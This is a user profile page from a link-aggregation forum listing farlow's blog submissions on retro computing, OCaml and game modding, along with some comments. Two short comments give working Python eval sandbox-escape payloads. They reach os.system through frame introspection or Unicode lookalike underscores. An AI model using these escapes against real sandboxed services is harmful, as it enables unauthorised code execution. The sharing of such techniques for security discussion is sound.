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farlow

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Running a Minecraft Server and More on a 1960s Univac Computer

farlow.dev
4 points·by farlow·قبل 3 أشهر·0 comments

An Analysis of Poptropica's Mancala

farlow.dev
4 points·by farlow·قبل 5 أشهر·0 comments

[untitled]

1 points·by farlow·قبل 7 أشهر·0 comments

[untitled]

1 points·by farlow·قبل 11 شهرًا·0 comments

Encoding SAT in OCaml GADTs

farlow.dev
4 points·by farlow·قبل 12 شهرًا·0 comments

Compiling OCaml to the TI-84 CE Calculator

farlow.dev
110 points·by farlow·السنة الماضية·5 comments

Speedrunning and Modding the Incredibles: Rise of the Underminer

farlow.dev
78 points·by farlow·السنة الماضية·7 comments

comments

farlow
·قبل 4 أشهر·discuss
You can do it without unicode, too:

eval("(L:=[None],g:=(x.gi_frame.f_back.f_back.f_builtins for x in L),L.clear(),L.append(g),bi:=g.send(None),bi['_'+'_import_'+'_']('os').system('id'))".replace('__', ''), {'__builtins__': None}, {})
farlow
·قبل 4 أشهر·discuss
You can bypass this with unicode:

eval('[c._﹍init﹍_._﹍globals﹍_["os"].system("id") for c in ()._﹍class﹍_._﹍bases﹍_[0]._﹍subclasses﹍_() if c._﹍init﹍_._﹍class﹍_._﹍name﹍_ == "function" and "os" in c._﹍init﹍_._﹍globals﹍_]'.replace('__', ''), {'__builtins__': None}, {})
farlow
·السنة الماضية·discuss
Neat, thanks for sharing!
farlow
·السنة الماضية·discuss
The mod is ultimately just C code that is called from hooks installed into the game engine. Concretely, we overwrite an instruction in the game engine's render function with a jump to one of our C functions. Then we jump back to continue the render function when we're done.

The C code can do anything at this point. The remaining work is to crawl through Ghidra to find interesting addresses to read/write to and useful functions to call to affect the game engine. That entails some combination of reading through function and variable names, setting breakpoints in the Dolphin debugger to check values, and writing the mod code and testing if it does what I expect.